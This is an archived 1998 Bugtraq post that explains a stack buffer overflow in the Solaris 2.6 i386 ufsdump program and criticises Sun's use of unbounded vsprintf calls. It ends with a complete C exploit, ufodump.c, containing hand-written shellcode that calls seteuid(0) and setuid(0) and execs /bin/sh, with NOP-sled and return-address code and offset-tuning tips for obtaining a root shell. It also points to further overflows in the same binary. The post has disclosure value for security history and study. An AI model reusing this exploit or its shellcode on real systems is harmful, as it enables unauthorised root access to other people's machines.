A while back, in April and June of 1998, there was some chatter on Bugtraq about the ufsdump and ufsrestore programs in Solaris 2.6. The first posting came from Seth McGann who had managed to create a preliminary exploit for ufsdump on the i386 platform. Seth's original post can be found at: http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130 Seth experienced some difficulties with his exploit and I thought I might clarify some of his questions. To start with, yes, the i386 binary of ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just a little bit more kung fu to get us a root shell. Just like rdist, ufsdump runs most of the time with an EUID and UID of you, but retains a saved UID of root (thanks to its original SUID root nature) which it uses to toggle its EUID between you and root as needed, but only briefly and for small sections of code at a time. What does this mean to you, the enterprising young exploit writer? You must use this same mechanism to make sure your shell (or whatever else you plan to do) gets exec'd as root. But there is one other step you must worry about. The Bourne shell under Solaris performs checks of its EUID when it runs. If the EUID of the shell is less than 100 and does not match the real UID, the shell drops its privileges by reverting its EUID back to its real UID. Do you see where this is leading? In your shell code you must do a seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0 when the overflow happened, as is the case with this particular ufsdump hole), followed by a setuid(0) to fully become root, followed by your execve() to get your shell. A fully functional exploit is included at the end of this message. This very same shell code can be used in a rdist exploit for Solaris 2.6 (i386), but I'll not post that today. Why don't I take this opportunity to put in a few jabs at Sun. What are the engineers at Sun thinking? The buffer overflow exploit is not at all a new or exotic technique, and their sorry coding practices make this type of exploit surprisingly easy. What is the problem in ufsdump? In the function msg(), vsprintf() is used to build an informational message to display back to the user, but the buffer used to hold the message (1024 bytes in size) resides on the stack, and that is the key to the exploit. Among the many calls to msg() in ufsdump, some calls used for creating error messages include the erroneous input in the text of the message, and this exploit tweaks one of those calls that uses a vsprintf format string of "Cannot open dump device `%s': %s\n", where we, the untrusted users, get to provide the dump device name. That is not the only possible avenue of attack, either. If ufsdump is invoked with an argv[0] of "hsmdump" there are what appear to be even easier overflows of the U and O command line options. Knock, knock, anybody home? Just imagine all the problems Sun would solve if they replaced each of these vsprintf() and sprintf() calls in the Solaris source tree with a simple vsnprintf() or snprintf() call. Is that too much to ask from such a large and powerful organization like Sun with deep pockets and lots of engineers? Okay, I'll shut up now. Here's the exploit code. An offset argument of around -500 seems to work good for me. The ufsdump error message will spill garbage all over your TTY, but just tap your enter key a couple of times and enjoy your root shell, then be sure to send Sun your thanks. Your brother in arms, Cheez Whiz cheezbeastat_private ufodump.c ----- cut here ----- cut here ----- cut here ----- cut here ----- /** *** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump *** *** Tested and confirmed under Solaris 2.6 i386 *** *** Usage: % ufodump [offset] *** *** where offset (if present) is the number of bytes to add to the stack *** pointer to calculate your target return address; try -1000 to 1000 in *** increments of 100 for starters. Thanks go to Seth McGann for the *** original bug report and a preliminary exploit. *** *** Cheez Whiz *** cheezbeastat_private *** *** December 30, 1998 **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1100 #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x48" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */ /* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */ /* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ /* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* seteuid: */ /* 25 */ "\x31\xc0" /* xor %eax,%eax */ /* 27 */ "\x50" /* pushl %eax */ /* 28 */ "\xb0\x8d" /* movb $0x8d,%al */ /* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */ /* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* setuid: */ /* 38 */ "\x31\xc0" /* xor %eax,%eax */ /* 40 */ "\x50" /* pushl %eax */ /* 41 */ "\xb0\x17" /* movb $0x17,%al */ /* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */ /* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* execve: */ /* 51 */ "\x31\xc0" /* xor %eax,%eax */ /* 53 */ "\x50" /* pushl %eax */ /* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */ /* 57 */ "\x53" /* pushl %ebx */ /* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ /* 63 */ "\x53" /* pushl %ebx */ /* 64 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */ /* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */ /* data: */ /* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 87 */ "\xff\xff\xff\xff" /* DATA */ /* 91 */ "\xff\xff\xff\xff"; /* DATA */ char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() { __asm__("movl %esp,%eax"); } void main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); if (argc > 2) nop = strtoul(argv[2], NULL, 0); else nop = 800; esp = get_esp(); memset(buf, NOP, BUFLEN); memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < BUFLEN-4; i += 4) *((int *) &buf[i]) = esp+offset; printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n", esp+offset, esp, offset, nop); execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL); printf("exec failed!\n"); return; }
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:26:49 PDT